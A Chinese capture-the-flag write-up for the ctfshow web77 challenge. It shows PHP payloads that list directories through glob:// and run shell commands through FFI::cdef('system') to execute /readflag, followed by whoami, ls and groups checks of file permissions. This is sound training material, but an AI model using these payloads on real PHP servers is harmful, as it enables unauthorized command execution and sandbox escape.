当前位置: 首页 > java >正文

[ctfshow web入门] web77

信息收集

上一题的读取flag方式不能用了,使用后的回显是:could not find driver

解题

同样的查目录方法

c=var_export(scandir("glob:///*"));die();
c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>";}closedir($a);exit();
}

在这里插入图片描述

读取flag

关于FFI的博客:PHP7.4 FFI 扩展安全问题

我只说FFI:cdef的一些结论:
php7.4才有
第二个参数可以缺省,缺省时大多情况下也能找到对应函数,有点类似于C的GetProcAddress
这个被调用的C函数由于没有写权限,前端没有回显

public static FFI::cdef(string $code = "", ?string $lib = null): FFI

最终答案

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 2.txt');die();

其中readflag是可执行文件,不是flag,所以执行/readflag后将结果输出到2.txt,就能拿到flag
由于没有目录穿透的手段了,只能复制到当前目录进行读取,可以使用include或是readgzfile啥的,都不影响

尝试过程

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('cp /flag36x.txt > 1.txt');
$ffi->system('cp /readflag 2.txt');die();

1.txt没有内容,2.txt是个ELF文件,开头有个ELF字样,就像windows可执行文件PE文件开头有MZ字样,图片文件开头也有PNG等能标识文件格式的字样。
在这里插入图片描述
这是一段伪C代码,因为这是从硬编码翻译过来的,与原来的C代码可能有所出入
使用uid设置为管理员权限
puts输出一段字符串
执行system(“cat /flag36x.txt”),这和php中的代码效果相同
在这里插入图片描述

猜测/flag36x.txt只有管理员能读
执行下面命令查看文件属性

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('ls / -al > ls.txt');exit();

在这里插入图片描述
关于权限,看博客:Linux:文件权限详解及修改方法
看权限分类即可

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('whoami > who.txt');exit();

打开who.txt得到我们是www-data

c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('groups www-data > groups.txt');exit();

groups.txt得到www-data : www-data,显然我们不属于管理员用户组

而flag36x.txt的权限是拥有者可读所属用户组可读,我们不满足,无法读取
如果尝试复制这个文件就会提示如下错误

cp: missing destination file operand after '/flag36x.txt'
Try 'cp --help' for more information.

下一章就是web118
web76    目录    web118

http://www.xdnf.cn/news/6942.html

相关文章:

  • Python基于Django的校园招聘系统【附源码、文档说明】
  • 寻找树的中心(重心)
  • Mysql 索引概述
  • 通过多线程同时获取H264和H265码流
  • 本地缓存更新方案探索
  • 多模态模型如何处理任意分辨率输入——Tiling与Packing技术详解
  • CentOS 下 FTP 与 NFS 服务深度解析:从基础配置到实战应用
  • css 中 content: “\e6d0“ 怎么变成图标的?
  • 2000 元以下罕见的真三色光源投影仪:雷克赛恩Cyber Pro1重新定义入门级投影体验
  • 南航无人机大规模户外环境视觉导航框架!SM-CERL:基于语义地图与认知逃逸强化学习的无人机户外视觉导航
  • STM32F10xx 参考手册
  • ALIENTEK精英STM32F103开发板 实验0测试程序详解
  • 信息安全的基石:深入理解五大核心安全服务
  • NPN、PNP三极管的应用
  • 企业级电商数据对接:1688 商品详情 API 接口开发与优化实践
  • Pandas 掌握Matplotlib基础绘图①
  • 6to4、6over4的类比解释
  • MAUI之XAML标记扩展
  • Linux:计算机的层状结构
  • .NET 中管理 Web API 文档的两种方式
  • 指定elf文件dwarf 版本以及查看dwarf版本号
  • C++ 蓝桥 STEMA 真题模拟测试卷二
  • 程序中断方式好题分享
  • 日志系统**
  • 蓝桥杯11届国B 答疑
  • Redis内存管理深度解析
  • LeetCode --- 156双周赛
  • JAVA的常见API文档(上)
  • 高频面试题(含笔试高频算法整理)基本总结回顾110
  • 角点特征:从传统算法到深度学习算法演进